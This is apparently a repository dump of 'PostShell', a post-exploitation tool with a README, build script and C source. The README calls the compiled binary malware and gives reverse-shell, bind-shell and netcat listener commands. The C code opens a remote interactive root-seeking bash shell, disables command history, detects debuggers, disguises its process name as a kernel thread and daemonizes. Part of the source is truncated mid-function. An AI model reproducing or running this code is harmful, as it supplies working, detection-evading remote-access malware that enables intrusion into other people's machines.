├── img01.png ├── compile.sh ├── LICENSE ├── README.md └── main.c /img01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rek7/postshell/HEAD/img01.png -------------------------------------------------------------------------------- /compile.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -O2 main.c -lutil -o stub 3 | strip stub 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 e 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PostShell 2 | PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. 3 | 4 | # ScreenShots 5 | ![Screenshot](https://github.com/rek7/postshell/blob/master/img01.png) 6 | Banner and interaction with shell after a connection is started. 7 | 8 | ## Why not use a traditional Backconnect/Bind Shell? 9 | PostShell allows for easier post-exploitation by making the attacker less dependant on dependencies such as Python and Perl. It also incorporates both a back connect and bind shell, meaning that if a target doesn't allow outgoing connections an operator can simply start a bind shell and connect to the machine remotely. PostShell is also significantly less suspicious than a traditional shell due to the fact both the name of the processes and arguments are cloaked. 10 | 11 | ## Features 12 | + Anti-Debugging, if ptrace is detected as being attached to the shell it will exit. 13 | + Process Name/Thread names are cloaked, a fake name overwrites all of the system arguments and file name to make it seem like a legitimate program. 14 | + TTY, a TTY is created which essentially allows for the same usage of the machine as if you were connected via SSH. 15 | + Bind/Backconnect shell, both a bind shell and back connect can be created. 16 | + Small Stub Size, a very small stub(<14kb) is usually generated. 17 | + Automatically Daemonizes 18 | + Tries to set GUID/UID to 0 (root) 19 | 20 | ## Getting Started 21 | 1. Downloading: `git clone https://github.com/rek7/postshell` 22 | 2. Compiling: `cd postshell && sh compile.sh` 23 | This should create a binary called "stub" this is the malware. 24 | 25 | ## Commands 26 | ```bash 27 | $ ./stub 28 | Bind Shell Usage: ./stub port 29 | Back Connect Usage: ./stub ip port 30 | $ 31 | ``` 32 | ## Example Usage 33 | Backconnect: 34 | ```bash 35 | $ ./stub 127.0.0.1 13377 36 | ``` 37 | Bind Shell: 38 | ```bash 39 | $ ./stub 13377 40 | ``` 41 | ## Recieving a Connection with Netcat 42 | Recieving a backconnect: 43 | ```bash 44 | $ nc -vlp port 45 | ``` 46 | Connecting to a bind Shell: 47 | ```bash 48 | $ nc host port 49 | ``` 50 | 51 | ## TODO: 52 | + Add domain resolution 53 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #define SHELL "/bin/bash" 16 | #define FAKE_NAME "[bioset]" 17 | 18 | //#define _DEBUG // uncomment for debugging mode 19 | 20 | //http://patorjk.com/software/taag/#p=display&f=AMC%20AAA01&t=postshell 21 | char *banner = R"EOF( .S_sSSs sSSs_sSSs sSSs sdSS_SSSSSSbs sSSs .S S. sSSs S. S. 22 | .SS~YS%%b d%%SP~YS%%b d%%SP YSSS~S%SSSSSP d%%SP .SS SS. d%%SP SS. SS. 23 | S%S `S%b d%S' `S%b d%S' S%S d%S' S%S S%S d%S' S%S S%S 24 | S%S S%S S%S S%S S%| S%S S%| S%S S%S S%S S%S S%S 25 | S%S d*S S&S S&S S&S S&S S&S S%S SSSS%S S&S S&S S&S 26 | S&S .S*S S&S S&S Y&Ss S&S Y&Ss S&S SSS&S S&S_Ss S&S S&S 27 | S&S_sdSSS S&S S&S `S&&S S&S `S&&S S&S S&S S&S~SP S&S S&S 28 | S&S~YSSY S&S S&S `S*S S&S `S*S S&S S&S S&S S&S S&S 29 | S*S S*b d*S l*S S*S l*S S*S S*S S*b S*b S*b 30 | S*S S*S. .S*S .S*P S*S .S*P S*S S*S S*S. S*S. S*S. 31 | S*S SSSbs_sdSSS sSS*S S*S sSS*S S*S S*S SSSbs SSSbs SSSbs 32 | S*S YSSP~YSSY YSS' S*S YSS' SSS S*S YSSP YSSP YSSP 33 | SP SP SP 34 | Y Y Y 35 | https://github.com/rek7/postshell 36 | )EOF"; 37 | 38 | void try_root(void) { 39 | setuid(0); 40 | setreuid(0, 0); 41 | } 42 | 43 | int create_conn(char* ip, int port) 44 | { 45 | int s0 = socket(AF_INET, SOCK_STREAM, 0); 46 | struct sockaddr_in serv_info = { 0 }; 47 | serv_info.sin_family = AF_INET; 48 | serv_info.sin_port = htons(port); 49 | //serv_info.sin_addr.s_addr = inet_addr(ip); 50 | serv_info.sin_addr.s_addr = inet_addr(ip); 51 | //serv_info.sin_addr.s_addr = resolve_ip(ip); 52 | 53 | return (connect(s0, (struct sockaddr*)&serv_info, sizeof(serv_info)) == 0 ? s0 : -1); 54 | } 55 | 56 | int return_conn(int port) // bind to a port for bindshell 57 | { 58 | int s0 = socket(AF_INET, SOCK_STREAM, 0); 59 | struct sockaddr_in serv_info = { 0 }; 60 | setsockopt(s0, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)); // allow reuse of port incase of program crash 61 | serv_info.sin_family = AF_INET; 62 | serv_info.sin_port = htons(port); 63 | serv_info.sin_addr.s_addr = INADDR_ANY; 64 | if (bind(s0, (struct sockaddr*)&serv_info, sizeof(serv_info)) == 0) { 65 | listen(s0, 0); // only accept 1 client connection and tell everyone else to fuck off 66 | int s1 = accept(s0, (struct sockaddr*)NULL, NULL); 67 | close(s0); 68 | return s1; 69 | } 70 | else { 71 | #ifdef _DEBUG 72 | perror("bind"); 73 | #endif 74 | return -1; 75 | } 76 | } 77 | 78 | bool is_alive(int s1) 79 | { 80 | return (send(s1, "\0", 1, 0) == 1 ? true : false); 81 | } 82 | 83 | bool open_pty(int* master, int* slave) 84 | { 85 | return ((openpty(master, slave, NULL, NULL, NULL) == 0) ? true : false); 86 | } 87 | 88 | bool cleanup_tty(int socket, int master) 89 | { 90 | write(master, "exit\r\n", 5); 91 | close(master); 92 | close(socket); 93 | return true; 94 | } 95 | 96 | bool open_term(int s0) 97 | { 98 | fd_set comm = { 0 }; 99 | int master=0, slave=0, pid=0; // master == pty, tty == slave 100 | 101 | if (open_pty(&master, &slave) && ttyname(slave) != NULL) { 102 | struct winsize ws = {0}; 103 | #ifdef _DEBUG 104 | printf("Opened PTY with master/slave, current tty name: %s\n", ttyname(slave)); 105 | #endif 106 | 107 | /* 108 | env variables 109 | */ 110 | putenv("HISTFILE=/dev/null"); 111 | putenv("PATH:/usr/local/sbin:/usr/sbin:/sbin:/bin:/usr/local/bin:/usr/bin"); 112 | putenv("TERM=linux"); 113 | putenv("PS1=\\x1b[1;36m\\u@\\h:\\w\\$\\x1b[0m"); 114 | putenv(("SHELL=%s", SHELL)); 115 | 116 | /* 117 | 118 | Setting the terminal size 119 | 120 | */ 121 | 122 | ws.ws_row = 80; 123 | ws.ws_col = 20; 124 | ws.ws_xpixel = 0; 125 | ws.ws_ypixel = 0; 126 | 127 | if (ioctl(master, TIOCSWINSZ, &ws) != 0) { // send the config to the device XD 128 | #ifdef _DEBUG 129 | perror("iotcl"); 130 | #endif 131 | return false; 132 | } 133 | 134 | pid = fork(); 135 | if (pid < 0) { 136 | #ifdef _DEBUG 137 | perror("fork"); 138 | #endif 139 | return false; 140 | } 141 | 142 | if (pid == 0) { // slave 143 | close(master); 144 | close(s0); 145 | ioctl(slave, TIOCSCTTY, NULL); 146 | if (setsid() < 0) { 147 | #ifdef _DEBUG 148 | perror("setsid"); 149 | return false; 150 | #endif 151 | } 152 | 153 | dup2(slave, 0); 154 | dup2(slave, 1); 155 | dup2(slave, 2); 156 | 157 | if (slave > 2) { 158 | close(slave); 159 | } 160 | execl(SHELL, "-i", NULL); 161 | return true; 162 | } 163 | else { // master 164 | close(slave); 165 | write(master, "stty -echo\n", 11); // removes duplicate commands being shown to the user 166 | send(s0, banner, strlen(banner), 0); 167 | usleep(1250000); 168 | tcflush(master, TCIOFLUSH); 169 | write(master, "uname -a\n", 9); 170 | while (1) { 171 | FD_ZERO(&comm); 172 | FD_SET(s0, &comm); 173 | FD_SET(master, &comm); 174 | char message[1024] = { 0 }; 175 | 176 | if (!is_alive(s0)) { // detecting an invalid connection 177 | break; 178 | } 179 | 180 | int check_fd = (master > s0) ? master : s0; 181 | 182 | if (select(check_fd + 1, &comm, NULL, NULL, NULL) < 0) { 183 | #ifdef _DEBUG 184 | perror("select"); 185 | #endif 186 | break; 187 | } 188 | 189 | if (FD_ISSET(s0, &comm)) { // write command 190 | recv(s0, message, sizeof(message), 0); 191 | write(master, message, strlen(message)); 192 | if (strcmp(message, "^C\r\n") == 0 || strcmp(message, "^C\n") == 0) //https://stackoverflow.com/questions/2195885/how-to-send-ctrl-c-control-character-or-terminal-hangup-message-to-child-process 193 | { 194 | char ctrl_c = 0x003; 195 | write(master, &ctrl_c, 1); // kill dat hoe 196 | } 197 | else if (strcmp(message, "exit\r\n") == 0 || strcmp(message, "exit\n") == 0) { 198 | char* bye_msg = "Exiting.\r\n"; 199 | send(s0, bye_msg, strlen(bye_msg), 0); 200 | cleanup_tty(s0, master); 201 | return true; 202 | } 203 | } 204 | 205 | if (FD_ISSET(master, &comm)) { 206 | read(master, message, sizeof(message)); 207 | send(s0, message, strlen(message), 0); 208 | } 209 | } 210 | } 211 | } 212 | return cleanup_tty(s0, master); 213 | } 214 | 215 | bool detect_debugging() { 216 | if(ptrace(PTRACE_TRACEME, 0, 1, 0) < 0){ // anti-debugging 217 | return true; 218 | } 219 | return false; 220 | } 221 | 222 | void cloak_name(int argc, char *argv[]) { 223 | for(int i=0;i 0 && open_term(s1)) { 257 | #ifdef _DEBUG 258 | printf("Safely closed connection and terminal.\n"); 259 | #endif 260 | return EXIT_SUCCESS; 261 | } 262 | } else { 263 | #ifdef _DEBUG 264 | perror("daemon"); 265 | #endif 266 | } 267 | } 268 | } 269 | return EXIT_FAILURE; 270 | } 271 | --------------------------------------------------------------------------------